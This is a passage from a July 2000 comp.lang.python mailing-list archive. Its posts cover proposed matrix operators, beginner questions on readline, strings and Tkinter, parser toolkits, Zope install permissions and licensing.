These questions come up because this is clear a new type of language
structure, even though it only contains one or two characters at the moment.  

We might be opening a whole can of worms here.  I have no idea of the future
perspective of the acceptance.  Are we asking too much, or are we trying to
be as consistant as possible, or both?  Perhaps someone else need to step up
to take the lead in this discussion.

>   The .* style operators merge with the surrounding expression in a way
>that leads to me confusing whether they are interpreted with their normal
>meaning. The braced operator sequences like (*) merge together into one
>visual entity. When encountered by someone for the first time, its fairly
>obvious that they mean something new and not just a weird way of spelling a
>current operation.
>
>   The braced operators give a reasonable basis for future expansion
>although it looks like you have used up all the best ones already. If this
>is going to be used for future expansion, I'd like to see precedence looked
>at closely now with all braced operators at lowest precedence.
>
>   It may help to write a short demonstration script that intensively uses
>matrix operations to show what code based on these proposals will look like.

This would be extremely helpful.

Huaiyu



From glt at equod.com  Wed Jul 19 15:02:36 2000
From: glt at equod.com (Gilles Lenfant)
Date: Wed, 19 Jul 2000 21:02:36 +0200
Subject: a more comprehensive distribution?
References: <8l4act$loo$1@news.kth.se> <3975D40E.E478EF44@schneider-kamp.de>
Message-ID: <3975FB4C.8145B017@equod.com>

A stuff for python like "rpm/rpmfind" is for Linux would be perfect to me.

A quick reminder for the Windows users with rpm/rpmfind:
* records a database about what's installed in your machine (package, version,
dependances with other packages)
* can browse in a dedicated public server for available packages (and of course
download/install from this server)
* warns obsolete versions of your packages.
* warns dependancies issues with other packages.
* build HTML report of your local packages library.

And lots of other useful features.
A Tkinter based interface above this would be a little more than perfect.
Guido, do you hear me ?

From jar at mminternet.com  Sun Jul 30 00:33:29 2000
From: jar at mminternet.com (jim roush)
Date: Sat, 29 Jul 2000 21:33:29 -0700
Subject: Newbie question regarding .readline()
Message-ID: <jgb7osc2h934jp1njta20tolf0n5lor5k8@4ax.com>

I have the following snippet of code causing me problems
 
def process_free_category(cat_title, filename, start_anchor_tag):
    PK_INFILE = open(filename, 'r')
        
    PKFRESHOUT.write('<br><b>' + cat_title + '</b><br><br>\n')

    # Find beginning of section
    for line in PK_INFILE.readline():
        print line
        if string.find(line, start_anchor_tag) > -1:
            break
    print line


the problem is, line is only one character instead of an entire line.
I used those print statements to verify this.  It's as if I used
.read() instead.  If I use .readlines() instead, it reads multiple
lines like it should.  

What gives?


jar at mminternet.com
James A Roush


From bjorn at roguewave.com.bbs  Sun Jul 16 13:20:01 2000
From: bjorn at roguewave.com.bbs (bjorn at roguewave.com.bbs)
Date: 16 Jul 2000 17:20:01 GMT
Subject: Discussion: Introducing new operators for matrix computation -gen
Message-ID: <3bQU41$kOG@openbazaar.net>

Andrew Henshaw wrote:

> Gregory Lielens  wrote:
> >John Lull wrote:
> ...snip...
>
> >> I'm don't think this is quite fair.  You could just as easily write:
> >>  b = rDiv(X, y) >> if you simply had an appropriate rDiv() function.
> ..snip..
> >Indeed, but it is the old choice between functional/operator notation...
> >For example, the second expression, b = (X'*X)\(X'*y), would be in
> >functional notation
> >something like b=rDiv(Mul(X.T(),X),Mul(X.T(),y))
> >This is ok, but imho far more error prone than operator notation,
> >because
> >- all linear algebra textbooks present expressions with operator
> >notation
> >- the operator notation is more natural to almost everybody when dealing
> >with arithmetic
> >
> I wonder if some of these problems could be approached in a more general
> manner.  What if Python could support the definition of operators in the
> same manner as functions? If that were the case then something like:
>
> opr rDiv(X, y):
>
> would define a new operator function that would work like:
>
> b = X rDiv y
>
> The big advantage would be that special purpose grammars could be easily
> imported.  The core language could be kept as simple as possible, but still
> be extensible in a  way that matters to a lot of people.
>
> I suspect that whitespace would be required around these new 'operators',
> although many people already do that with regular operators.  Also, I'm not
> sure how you'd specify an operator that wasn't valid as a function name, but
> I can think of possibilities.

Prolog does this (you'll of course have to specify the precedence of the
operator also, and to solve the current perceived problem probably their
associativity too...)

It's something that works relatively well in Prolog, but then Prolog doesn't
have namespaces etc... If you think you can solve those problems, I would
encourage you to try to implement it and try your solution in a couple of
different domains (matrix-, db-, xml-, string- processing?)  It could be useful,
and if it is, then we can discuss whether it should be added to the core.

Thankfully, Python doesn't add new ideas to the core before they have been tried
out sufficiently first. C++ did, and has ended up working around design problems
(how many people really know how Koenig lookup works...?)

python-the-lean-mean-fighting-machine-with-batteries-included'ly y'rs
-- bjorn


From jessw at loop.com  Mon Jul 10 13:24:45 2000
From: jessw at loop.com (Jesse W)
Date: Mon, 10 Jul 2000 17:24:45 +0000
Subject: Can anyone hear me? (was Solution to IDLE and Tkinter problems)
Message-ID: <200007110027.RAA16246@stevie.loop.com>

	Did anyone get my last message?  Is the problem I posted about 
already dealt with or somehow taboo?  Does anyone know why I 
got no response?  If I am doing something _really_ stupid, would 
someone please tell me at least?
	I apolgize if this is considered a useless and pointless message, 
but I don't know what else to do!  
					Thank you for your time,
								Jesse Weinstein



From jbrennan at linuxfreak.com.bbs  Mon Jul 17 01:40:00 2000
From: jbrennan at linuxfreak.com.bbs (jbrennan at linuxfreak.com.bbs)
Date: 17 Jul 2000 05:40:00 GMT
Subject: Python VM on a Chip?
Message-ID: <3bR1H0$iTv@openbazaar.net>

In the past I have read about companies implementing the Java VM on a
chip.  Vendors such as Rockwell have been working with Sun to make it
possible to implement embedded Java applications that run a hundred
times faster then the software VM.

Has anyone ever considered doing the same kind of thing with the Python
VM?  Is it even possible since the data types of Python are late
binding?  Does anyone know of a commercial or university project that is
implementing a Python VM using ASICs or FPGAs?

Thanks,

Jim Brennan
jbrennan at linuxfreak.com


From jesse at multimediacollective.com  Mon Jul 31 17:41:43 2000
From: jesse at multimediacollective.com (jesse at multimediacollective.com)
Date: Mon, 31 Jul 2000 21:41:43 -0000
Subject: removing characters from a string? 
Message-ID: <8m4rqn+jpg0@eGroups.com>

say I had a string. 


this_string = "jesse at multimediacollective.com"

"""and I wanted to get rid of the @, how would I do that? This 
process has to be efficent for removing large quantities of special 
characters, such as <,>,#,%,* etc, from the same string.  

Any advice would be very helpful.  Thanks in advance, Jesse. 




From shikida at my-deja.com  Mon Jul 10 19:14:35 2000
From: shikida at my-deja.com (shikida at my-deja.com)
Date: Mon, 10 Jul 2000 23:14:35 GMT
Subject: zope and UNIX permissions
Message-ID: <8kdlcc$epr$1@nnrp1.deja.com>

We tried to install zope using its tar.gz file and it created a lot of
files with non-default users and with very permissive permissions on a
linux box (like 777 permissions for many files).

This is a HUGE security hole. We couldn't install the RPMs files on our
webserver. Is there any decent zope source code distribution?

thanks in advance

K.


Sent via Deja.com http://www.deja.com/
Before you buy.


From kirill at xyz.donetsk.ua  Thu Jul 20 05:43:05 2000
From: kirill at xyz.donetsk.ua (Kirill Simonov)
Date: Thu, 20 Jul 2000 12:43:05 +0300
Subject: iterating over lines in a file
In-Reply-To: <Uvqd5.21615$DZ4.69024@news.corecomm.net>; from no@bo.dy on Wed, Jul 19, 2000 at 07:14:15PM -0500
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net>
Message-ID: <20000720124305.A1220@xyz.donetsk.ua>

On Wed, Jul 19, 2000 at 07:14:15PM -0500, nobody wrote:

> while (line = <FILE>) { block; }

The easiest way:

for line in file.readlines():
    block


--
Kirill



From hgg9140 at seanet.com  Wed Jul 19 19:13:57 2000
From: hgg9140 at seanet.com (Harry George)
Date: 19 Jul 2000 16:13:57 -0700
Subject: Python-ese for indexing a list within a class
References: <8l4v6k$rd4$1@news.rchland.ibm.com>
Message-ID: <m3snt5lnm2.fsf@wilma.george.org>

How are you choosing to use a vs b ...?  I generally need to do this
with named objects so I use a map:
 class C:
     def __init__(self):
         counters={}
     def someFunction(self):
         # some code
         #---discover we need a counter for x---
         #---where x is "a", or "b", or whatever---
         cnt=self.counters
         if not cnt.get(x,0):
            cnt[x]=0
         cnt[x]=cnt[x]+1


"Larry Whitley" <ldw at us.ibm.com> writes:

> Is the following the appropriate Python-ese for indexing a list within a
> class?
> 
> # the following is defined outside of either class or function
> nCounters = 4
> a,b,c,d = range(nCounters)
> 
> # now define the class
> class C:
>     def __init__(self):
>         cnt = [0] * nCounters
>     def someFunction(self):
>         # some code
>         self.cnt[a] = self.cnt[a] + 1 # <<< here's the statement in question
>         # some more code
> 
> I'm trying to avoid the considerably ugly:
> 
> self.cnt[self.a] = self.cnt[self.a] + 1
> 
> The code seems to work ok but is this the right/best/prettiest/(etc) way to
> go about it?
> 
> Larry
> 
> 

-- 
Harry George
hgg9140 at seanet.com


From andymac at bullseye.apana.org.au  Tue Jul 18 07:17:53 2000
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Tue, 18 Jul 2000 21:17:53 +1000 (EST)
Subject: nis module error
In-Reply-To: <39736BCB.626BD669@hpbs1711.boi.hp.com>
Message-ID: <Pine.OS2.3.95.1000718210638.1587A-100000@CENTRAL>

[sent to both originator & python-list]

On Mon, 17 Jul 2000, Jacob Hunt wrote:

> Traceback (innermost last):
>   File "<stdin>", line 1, in ?
> ImportError: /usr/lib/python1.5/lib-dynload/nismodule.so: undefined
> symbol: yperr_string
> 
> what does this mean?  How can I correct the problem or is there a way
> around it.

nismodule.so wasn't linked with the library containing the "yperr_string"
symbol, or the dynamic linker can't find the library containing it.

you'll need to find out which library on your system contains this symbol
and make sure that ld.conf or LD_LIBRARY_PATH contain the directory
containing this library.

if this still doesn't fix the problem, you'll need to rebuild the nis
module (from source) with the correct library specifications - the setup
file in the modules directory of the Python source will need to be
doctored to add the necessary library reference (see the Tkinter section
of that file for ideas on how to do this).

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andrew.macintyre at aba.gov.au    (work) | Snail: PO Box 370
        andymac at bullseye.apana.org.au  (play) |        Belconnen  ACT  2616
        andymac at pcug.org.au           (play2) |        Australia




From aahz at netcom.com  Sat Jul 22 00:06:03 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 22 Jul 2000 04:06:03 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l7c80$mlc$1@tomm.stsci.edu> <Pine.LNX.4.10.10007201256340.17820-100000@us2.mayo.edu> <slrn8nevfr.d8.bmcd@ripley.sulaco.net>
Message-ID: <8lb6jb$vj9$1@slb6.atl.mindspring.net>

In article <slrn8nevfr.d8.bmcd at ripley.sulaco.net>,
Ben Caradoc-Davies <bmcd at es.co.nz> wrote:
>
>The fact that APL has been mentioned in this thread is a bad, *bad* sign.

Yeah, that's my feeling, too.  It's not entirely clear to me why we
can't use some kind of string-based expression mechanism instead of
adding all this at the language level.  Python's brilliance is its
*clean* syntax.  Why are we mucking with the core language for this?
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From athos84 at my-deja.com  Mon Jul 31 11:39:39 2000
From: athos84 at my-deja.com (Mike Olson)
Date: Mon, 31 Jul 2000 15:39:39 GMT
Subject: Automatic naming
Message-ID: <8m46jq$rj$1@nnrp1.deja.com>

I am trying to create a window using Tkinter that has a variable number
of Entry fields, 1 for each item in a list.  My script looks something
like this:

cnt = 0
for x in list:
	label = Label(window, text=x)
	entry = Entry(window)
	label.grid(row=cnt)
	entry.grid(row=cnt, column=1)
	cnt = cnt + 1

The window looks fine, but my problem is that I have no way of using
.get() commands on any of the entry widgets except for the last one.  Is
there a way of automatically naming widgets so that I can use them all,
or of adding tags or something?  If not, does anyone have a suggestion
for a more efficient (or functional) way of doing what I'm doing?  Any
help will be greatly appreciated.

--
Mike Olson
Provis Corporation
Columbia Heights, MN


Sent via Deja.com http://www.deja.com/
Before you buy.


From richard at cogsci.ed.ac.uk  Fri Jul 14 14:09:08 2000
From: richard at cogsci.ed.ac.uk (Richard Tobin)
Date: 14 Jul 2000 18:09:08 GMT
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <8kkuuv$ohu$1@nnrp1.deja.com> <8kl0c7$1h2n$1@pc-news.cogsci.ed.ac.uk> <8knhql$lpi$1@nnrp1.deja.com>
Message-ID: <8knl04$1c9b$1@pc-news.cogsci.ed.ac.uk>

In article <8knhql$lpi$1 at nnrp1.deja.com>,  <david_ullrich at my-deja.com> wrote:
>   It's explicitly provided in Python as well.

No, that's just the point - it's not explicitly provided; instead the
implementation is exposed.  You can assign to the __class__ slot, you
can initialise any new slots, and delete any that the new class
doesn't have.  But does anything say "yes, this is all you need to do,
and it will work in all implementations"?  Apparently not.

>   Changing the methods of the instance also counts as
>a sneaky don't-do-that.

I thought you'd say that :-)

> Whatever it is you're trying to
>do there's a way to do it in legitimate Python without
>this sort of thing.

Ok, I trying to directly model a rather abstract specification - the
XML Infoset - as Python objects.  I then want to to perform the action
of XML Schema validation on this modelled infoset, which is defined to
add various properties to the infoset.  Various methods need to be
changed to take account of the new properties.  It is thus natural for
the class of the objects after validation to be a subclass of what
they were before.

Now obviously it can be done in many ways as a programming task, and
others might be better in engineering terms.  One might produce a new
infoset containing objects from the subclasses.  But to directly model
the specification of the validation process, changing the classes, or
adding slots and changing methods, seems the natural way.

-- Richard
-- 
Spam filter: to mail me from a .com/.net site, put my surname in the headers.

"The Internet is really just a series of bottlenecks joined by high
speed networks." - Sam Wilson


From krussell4 at home.com  Wed Jul 12 19:04:59 2000
From: krussell4 at home.com (Kevin Russell)
Date: Wed, 12 Jul 2000 23:04:59 GMT
Subject: Sound module question
References: <396BBA07.E844152@bresnanlink.net> <396BC08E.A3C036A4@pehr.net> <396C18D8.EC4CC59@bresnanlink.net>
Message-ID: <396CF9BD.B8088DAF@home.com>

In addition to the suggestions already given, you might think about Snack:

     http://www.speech.kth.se/snack/

It's really a Tcl extension, but it should be possible to pass commands
and info back and forth between Tcl and Python using the same tricks that
Tkinter does.

-- Kevin


From paul at prescod.net.bbs  Mon Jul 17 17:40:02 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 21:40:02 GMT
Subject: Parser project
Message-ID: <3bRQH2$l4T@openbazaar.net>

Huaiyu Zhu wrote:
>
> ...
>
> This is a good idea, although MatPy could not wait for it to happen, and I
> do not foresee much additional syntax being requested. For the current
> matrix issue, a limited parser might be easier and more useful.

Not as much easier as you think. And anyhow, my proposal was to make a
module useful to Python programmers from a variety of domains. That
seems more likely than the infix operators which are not going to be as
widely popular. For instance, someone wanting to experiment with list
comprehensions or embedded SQL could do so.

> I'm not sure if it can be made as easy as
>
> import NewOperator
> NewOperator.define(".+", "__dotadd__")
> class A: def __dotadd__(self, other) ...
> a=A(); b=A()
> a.+b
> NewOperator.define("compares", "__cmp__")
>  ------> Exception: "compares" contains characters not allowed in operator.

No, it can't be made that easy using traditional parser/compiler
techniques. Using non-standard techniques, yes it could be but I'm not
sure if someone out there is interested enough to do it.

If you want to get started quickly, I would suggest you download all of
the Python parser toolkits and look for those that have Python
lexers/parsers built in. Choose one and use it. You may already be 80%
of the way there. You might want to ask around for help in the compiler
sig mailing list:

http://www.python.org/sigs/compiler-sig/

Here is a list of parsing tools I collected once:

<slide><title>PyLR</title>
<points>
<point>For efficient <a
href="http://starship.skyport.net/crew/scott/PyLR.html">parsers</a> in
python</point>
<point>Includes lexer and parser</point>
<point>Supports LR(1) and LALR(1)</point>
<point>By Scott Cotton</point>
</points>
</slide>

<slide><title>PyLR example</title>
<points>
<pre>expression: expression
		PLUS term (addfunc)
		| term;
term: term
	TIMES factor (timesfunc)
	| factor;
factor: LPAREN expression RPAREN (parenfunc)
	| INT;
</pre>
</points>
</slide>

<slide><title>kwParsing</title>
<points>
<point><a href="http://www.chordate.com/kwParsing/">by Aaron
Watters</a></point>
<!-- More here -->
<pre>
GRAMMARSTRING ="""
Value ::
 @R SetqRule :: Value >> ( setq var Value )
 @R ListRule :: Value >> ( ListTail
 @R TailFull :: ListTail >> Value ListTail
 @R TailEmpty :: ListTail >> )
 @R Varrule :: Value >> var
 @R Intrule :: Value >> int
 @R Strrule :: Value >> str
 @R PrintRule :: Value >> ( print Value )
"""
</pre>
</points>
</slide>

<slide><title>Simpleparse</title>
<points>
<point>Built on top of <a
href="http://starship.skyport.net/~lemburg/mxTextTools.html">mxTextTools</a></point>
<point>Generates tables that drive mxTextTools</point>
<point>Reputed to be very fast</point>
<point>by <a
href="http://members.home.net/mcfletch/programming/simpleparse/simpleparse.html">Michael
Fletcher</a></point>
<point>Gentle introduction to more complex mxTextTools package</point>
</points>
</slide>

<slide><title>Simpleparse example</title>
<pre>
file := [ \t\n]*, section+
section := '[',identifier,']', ts,'\n', body
body := statement*
statement := (ts,';',comment,'\n')/equality/nullline
nullline := ts,'\n'
ts := [ \t]*

...
</pre>
</slide>

<slide><title>YAPPS</title>
<points>
<point>Yet Another Python Parser <a
href="http://theory.stanford.edu/~amitp/Yapps/yapps-doc/yapps-doc.html">system</a>.</point>
<point>Simple, easy to use</point>
<point>Generates human-readable parsers</point>
<point>Recursive descent</point>
<point>Not as fast, powerful or flexible as others</point>
<point>Supports LL(1)</point>
</points>
</slide>

<slide><title>Spark</title>
<point><a href="http://www.csr.uvic.ca/~aycock/python/">Scanning,
Parsing, and Rewriting Kit</a></point>
<point>John Aycock</point>
<point>Very powerful, easy, slow</point>
<pre>
def p_ifelse_stmt(self, args):
'''
stmt ::=
  IF expr
  THEN stmt
  ELSE stmt
'''
    somePythonCode()
</pre>
</slide>

</div>
</slides>
</slideshow>

--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From boncelet at eecis.udel.edu.bbs  Mon Jul 17 13:20:01 2000
From: boncelet at eecis.udel.edu.bbs (boncelet at eecis.udel.edu.bbs)
Date: 17 Jul 2000 17:20:01 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators forma
Message-ID: <3bRJS1$iD_@openbazaar.net>

--------------8E279F1082DE31814A452DAA
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

(Huaiyu Zhu wrote a proposal for adding special linear algebra operator to
Python)

This proposal has been dismissed by many on this list (my paraphrasing)
"because we don't want to pollute Python with new symbols/syntax
for just one problem domain."  Some have dismissed linear algebra
as a small domain at that.

Let's get some facts (yes, I know we are not supposed to let facts
interfere with our arguments on usenet):

1. Amazon.com lists 117 book matches for "python", but most of these
are for the snake or Monte.  A quick perusal indicates there are 13 books
currently available and another 7 on order for language.  Amazon lists
179 matches for "matlab", of which 81 are currently available and 61 on order.

Verdict:  there are approximately 7 times as many Matlab books as
Python books.

2. Alta Vista finds 4492 pages for "python language",  and 489540 for
"matlab".  Even the one word "python" search only finds 412030 pages
(which of course includes many references to the comedy troupe
and the snake).

Alltheweb finds 53378 for "python language" and 53368 for "python
program"; it finds 156525 for "matlab".

Verdict: There are 3-100 times as many web pages mentioning "matlab"
as "python language"  or "python program".

3. At my university (which I assume is pretty typical), all the engineering
students use Matlab at some point in their studies.  Most (perhaps all)
of the math, physics, and chemistry students use Matlab at some point.
Many of our ECE graduate students use Matlab extensively in doing
their dissertation research.

AFAIK, I am the only person using python for anything.  (I am sure
there are others, but I don't know of anyone and there are no courses using
python.)

Vendict: at my university, Matlab is tens to hundreds of times more
popular than python.

Conclusion: please don't dismiss linear algebra as "just another
problem domain".  If python incorporated numpy into its core
and added some support for linear algebra syntax, it could easily
double, triple, or more in popularity.

Remember, these people spend real money on Matlab.  Even the
student edition is about $100.

Now to the specifics of the proposal: I'd like to see "@" for matrix
mulitplication and "*" for element-wise multiplication.  This preserves
compatibility with numpy, although breaks it with the MatPy package.
It is more important, IMHO, to preserve compatibility with the existing
python numerical facilities than with Matlab.  Any user switching over
will have to learn a lot of new things anyway.  Distinguishing @ and *
should be easy enough.

    Charlie Boncelet

--
Charles Boncelet                              302-831-8008
Dept of Electrical and Computer Engineering   302-831-4316 (fax)
University of Delaware                        boncelet at eecis.udel.edu
http://www.eecis.udel.edu/~boncelet/



--------------8E279F1082DE31814A452DAA
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
(Huaiyu Zhu wrote a proposal for adding special linear algebra operator
to Python)
<p>This proposal has been dismissed by many on this list (my paraphrasing)
<br>"because we don't want to pollute Python with new symbols/syntax
<br>for just one problem domain."&nbsp; Some have dismissed linear algebra
<br>as a small domain at that.
<p>Let's get some facts (yes, I know we are not supposed to let facts
<br>interfere with our arguments on usenet):
<p>1. Amazon.com lists 117 book matches for "python", but most of these
<br>are for the snake or Monte.&nbsp; A quick perusal indicates there are
13 books
<br>currently available and another 7 on order for language.&nbsp; Amazon
lists
<br>179 matches for "matlab", of which 81 are currently available and 61
on order.
<p>Verdict:&nbsp; there are approximately 7 times as many Matlab books
as
<br>Python books.
<p>2. Alta Vista finds 4492 pages for "python language",&nbsp; and 489540
for
<br>"matlab".&nbsp; Even the one word "python" search only finds 412030
pages
<br>(which of course includes many references to the comedy troupe
<br>and the snake).
<p>Alltheweb finds 53378 for "python language" and 53368 for "python
<br>program"; it finds 156525 for "matlab".
<p>Verdict: There are 3-100 times as many web pages mentioning "matlab"
<br>as "python language"&nbsp; or "python program".
<p>3. At my university (which I assume is pretty typical), all the engineering
<br>students use Matlab at some point in their studies.&nbsp; Most (perhaps
all)
<br>of the math, physics, and chemistry students use Matlab at some point.
<br>Many of our ECE graduate students use Matlab extensively in doing
<br>their dissertation research.
<p>AFAIK, I am the only person using python for anything.&nbsp; (I am sure
<br>there are others, but I don't know of anyone and there are no courses
using python.)
<p>Vendict: at my university, Matlab is tens to hundreds of times more
<br>popular than python.
<p>Conclusion: please don't dismiss linear algebra as "just another
<br>problem domain".&nbsp; If python incorporated numpy into its core
<br>and added some support for linear algebra syntax, it could easily
<br>double, triple, or more in popularity.
<p>Remember, these people spend real money on Matlab.&nbsp; Even the
<br>student edition is about $100.
<p>Now to the specifics of the proposal: I'd like to see "@" for matrix
<br>mulitplication and "*" for element-wise multiplication.&nbsp; This
preserves
<br>compatibility with numpy, although breaks it with the MatPy package.
<br>It is more important, IMHO, to preserve compatibility with the existing
<br>python numerical facilities than with Matlab.&nbsp; Any user switching
over
<br>will have to learn a lot of new things anyway.&nbsp; Distinguishing
@ and *
<br>should be easy enough.
<p>&nbsp;&nbsp;&nbsp; Charlie Boncelet
<pre>--&nbsp;
Charles Boncelet&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 302-831-8008
Dept of Electrical and Computer Engineering&nbsp;&nbsp; 302-831-4316 (fax)
University of Delaware&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; boncelet at eecis.udel.edu
<A HREF="http://www.eecis.udel.edu/~boncelet/">http://www.eecis.udel.edu/~boncelet/</A></pre>
&nbsp;</html>

--------------8E279F1082DE31814A452DAA--


From bwarsaw at beopen.com  Wed Jul 19 08:50:56 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Wed, 19 Jul 2000 08:50:56 -0400 (EDT)
Subject: [Python-Dev] RE: Discussion: Introducing new operators  for  matrix computation
References: <slrn8n9i9j.so.hzhu@rock.localdomain>
	<LNBBLJKPBEHFEDALKOLCIENFGKAA.tim_one@email.msn.com>
Message-ID: <14709.42032.689117.684055@anthem.concentric.net>

>>>>> "TP" == Tim Peters <tim_one at email.msn.com> writes:

    TP> + There *must* be a PEP for this.

There already is: PEP 211, Adding New Operators to Python.  And it's
been assigned to Greg Wilson, although he may want to re-assign it.
It's currently just boilerplate.

-Barry



From pinard at iro.umontreal.ca  Fri Jul  7 08:20:52 2000
From: pinard at iro.umontreal.ca (=?ISO-8859-1?Q?Fran=E7ois_Pinard?=)
Date: 07 Jul 2000 08:20:52 -0400
Subject: Python bug reporting [was: Re: readline.c & more]
In-Reply-To: Jeremy Hylton's message of "06 Jul 2000 22:40:19 EDT"
References: <Pine.LNX.4.21.0007070138250.7366-100000@krispc6.physik.uni-karlsruhe.de>
	<blk8eywti5.fsf@bitdiddle.concentric.net>
Message-ID: <oq4s62uo63.fsf_-_@titan.progiciels-bpi.ca>

[Jeremy Hylton]

> I agree that the system [of necessarily using the Web to report Python
> bugs, instead of the usual Python bug reporting email address] isn't
> great, but at least it provides us with a mechanism to track patches and
> assign responsibility for them.  The old email approach didn't have either
> feature, which made it much harder for the people catching the patches.

There are plenty of users, and a much smaller bunch of maintainers.
It seems more fit to me to adapt to the plenty of users, than force all of
them into the methods of a few.  This is not far from haughty maintenance.
Besides, if the new mechanics and bug tracking systems did not even care to
provide some interface or tools, so maintainers can receive and sort email
into it, then that system is also haughty and aggressive at imposing itself.

Do not misread me, I'm a maintainer myself.  But I do care for my users,
I do not make things hard for them to communicate with me, and never will.
My little own anal methods with reports, I do not _impose_ them around.

> You might suggestion an email interface in the SourceForge feature
> request forum:  https://sourceforge.net/forum/?group_id=1

Are you serious?  You would force me to use a Web forum to discuss that
Web is inappropriate?  This isn't real, I am dreaming. :-(

Please consider Web as a possible service, not as an inescapable religion.
email is still ubiquitous, and very usable.  If your bug tracking system
cannot help you handling email, this should be the problem of those having
written or selected it, not mine, and surely not mine to correct.

P.S. - I nearly missed your message, it had no quote, and the subject
was improper.  Web abuse destroys one's elementary communication skills :-).

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From peter at schneider-kamp.de  Wed Jul 19 15:20:50 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Wed, 19 Jul 2000 19:20:50 +0000
Subject: merge (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk> <tOid5.135713$HK2.2425898@news20.bellglobal.com> <8l4g5i$8$1@slb7.atl.mindspring.net> <3975E070.308511F4@roguewave.com>
Message-ID: <3975FF92.1B031588@schneider-kamp.de>

Okay, assume you call it "merge". What will somebody who
doesn't know what it's for think it does?

merge([1, 2, 3], [4, 5, 6]) == [1, 4, 2, 5, 3, 6]

or

merge([1, 2, 3], [4, 5, 6]) == [(1, 4), (2 ,5), (3, 6)]?

Where's your problem with zip?

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From obijohn at my-deja.com  Thu Jul 27 16:10:21 2000
From: obijohn at my-deja.com (ObiJohn)
Date: Thu, 27 Jul 2000 20:10:21 GMT
Subject: The State of Python
References: <cpog3jjztl.fsf@cj20424-a.reston1.va.home.com> <LNBBLJKPBEHFEDALKOLCEEGAGMAA.tim_one@email.msn.com>
Message-ID: <8lq4v9$3fs$1@nnrp1.deja.com>

In article <LNBBLJKPBEHFEDALKOLCEEGAGMAA.tim_one at email.msn.com>,
  "Tim Peters" <tim_one at email.msn.com> wrote:
>[snip]
> I'm not a lawyer either (as you well know <wink>), but at least in
America
> you hold copyright on your works whether or not you state it
explicitly.
> Curiously, the CNRI disclaimer form didn't say anything about
copyright.
>

I *am* a lawyer and I think a distinction needs to be made (maybe
obviously) between a "license" and a "copyright". A copyright, as the
name implies, gives the author the _right_ to control the _copy_ of his
work. If this control is extended to others, it is done so in the form
of a license. Contrary to what some may think, placing a work in the
public domain is not issuing a "free-for-all" license; it completely
removes the copyright. Thereafter, not even the original author can
claim to hold the copyright or any form of license. However, a license
on a copyrighted work may allow unrestricted use of the work and still
retain the copyright. This is important because the holder of the
copyright may later change the license.

There is no "magic" in making a license. Indeed the Python 1.5.2 is a
valid form of license. What the CNRI lawyers mean is that there are too
many holes in it for a lawyer's taste. Lawyers *hate* short, consise
contracts and licenses simply because it is so easy to make them appear
to contain loopholes, even if the author did not intend it. Efforts to
close those loopholes results in licenses like the GPL. Unfortunately,
lawyers many times introduce more holes than they plug, and other
lawyers step in to plug those... just look at the GPL/QT wrangling.

Is there a simple answer? Not when the lawyers are involed! I would be
greatly surprised if they were satisfied in 2 days.

-- John Stoneham, Beaumont, Texas
Life is too short: Program with Python!


Sent via Deja.com http://www.deja.com/
Before you buy.


From paul at prescod.net  Sun Jul 23 02:34:54 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 23 Jul 2000 01:34:54 -0500
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <m2bszsokwh.fsf@spiff.home.com> <39774EFA.62287E6E@nih.gov> <ueefns037mjarv63dqpbh52mmr1k6vvaop@4ax.com> <%_Rd5.36763$6y5.24594893@news2.rdc2.tx.home.com>
Message-ID: <397A920E.A16E7B8A@prescod.net>

Rainer Deyke wrote:
> 
> This would allow constructs such as:
> 
> A(.init)B
> 
> In other words, it would turn all existing __magic__ functions into
> operators.  Not a good idea IMO.

Easily fixed if we map ".foo" to "__operator_foo__" and
"__roperator_foo__".

I strongly prefer name-based proposals to cryptic symbols. I would
support A(.mm)B for matrix multiply and A(.em)B for element multiply,
A(.slv)B for solving and so forth. I can even imagine where this would
be useful in other domains.

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
